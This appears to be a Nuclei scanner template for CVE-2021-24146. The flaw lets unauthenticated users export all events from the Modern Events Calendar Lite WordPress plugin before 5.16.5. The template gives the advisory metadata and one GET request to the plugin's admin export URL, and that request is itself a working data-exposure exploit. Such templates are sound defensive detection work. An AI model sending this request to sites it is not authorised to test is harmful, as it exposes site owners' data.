id: CVE-2021-24146

info:
  name: Modern Events Calendar Lite < 5.16.5 - Unauthenticated Events Export
  author: random_robbie
  severity: high
  description: Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example.
  reference:
    - https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc
    - http://packetstormsecurity.com/files/163345/WordPress-Modern-Events-Calendar-5.16.2-Information-Disclosure.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24146
    cwe-id: CWE-284
  tags: wordpress,wp-plugin,cve,cve2021

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "mec-events"
          - "text/csv"
        condition: and
        part: header

      - type: status
        status:
          - 200